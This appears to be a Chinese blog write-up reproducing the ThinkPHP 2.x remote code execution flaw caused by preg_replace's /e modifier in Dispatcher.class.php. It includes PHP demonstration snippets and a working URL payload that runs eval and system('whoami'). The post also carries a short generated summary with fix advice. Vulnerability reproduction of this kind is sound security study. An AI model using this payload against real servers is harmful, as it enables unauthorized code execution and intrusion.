ThinkPHP2-RCE漏洞复现

ThinkPHP2-RCE漏洞复现

影响版本:PHP 5.2~5.6

/e 修 正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错 误。

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

例如:

<?php
$a = "abc";
$b = "aaaachummercaaaa";
echo preg_replace("/c(.+?)c/e",$a,$b);
?>;

输出:aaaaabcaaaa;

如果$a可控,如下:

<?php
$a = 'print_r("AAA");';
$b = "aaaac123caaaa";
echo preg_replace("/c(.+?)c/e",$a,$b);
?>;

输出如下:

由此可见,preg_replace()函数在匹配时,会自动执行replacement。

我们在对代码进行修改

<?php
function test($str){
    return "$str";
}
$a = "test('\1');";
$b = "aaaac${@print_r('AAA')}caaaa";
preg_replace("/c(.+?)c/e",$a,$b);
?>;

输出:

通过上图可以看到,如果$b可控,匹配到的字符串传递给了test函数,并将返回值给了$a,从而控制$a。这样就可以通过preg_replace()的/e修饰符执行可控参数了。

然而,/e修饰符在php版本为5.2~5.6时才可使用。

再回来看ThinkPHP2漏洞的出现点:

ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
            $_GET   =  array_merge($var,$_GET);

其中的$var为前面定义的一个数组。

将两个匹配到的字符串分别复制给$var的key和value,/e修饰符使其能够执行。

$paths定义如下:

它的功能是返回URL后面的参数

thinkphp路由的格式是分组/模块/操作名/参数

因此构造payload:

?s=/a/b/c/${@eval($_GET[1])}&1=system(%27whoami%27);

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ThinkPHP 2.x版本中存在远程代码执行(RCE漏洞。该漏洞可以通过构造恶意的请求来执行任意的PHP代码。具体来说,漏洞出现在ThinkPHP框架中的路由处理函数中,使用了不安全的preg_replace函数,并且使用了/e模式进行正则表达式匹配。攻击者可以通过在请求中注入恶意的代码来执行任意的PHP代码。这个漏洞ThinkPHP框架的Dispatcher类中的102行被触发。\[2\]\[3\] 为了修复这个漏洞,建议升级到最新版本的ThinkPHP框架,或者手动修复代码中的漏洞。具体修复方法包括使用更安全的正则表达式替代preg_replace函数,并且避免使用/e模式进行正则表达式匹配。此外,还应该对用户输入进行严格的过滤和验证,以防止恶意代码的注入。 #### 引用[.reference_title] - *1* [【漏洞复现】[ThinkPHP]2-Rce](https://blog.csdn.net/Mr_atopos/article/details/124907676)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [ThinkPHP2-RCE漏洞复现](https://blog.csdn.net/qq_51459600/article/details/125179451)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值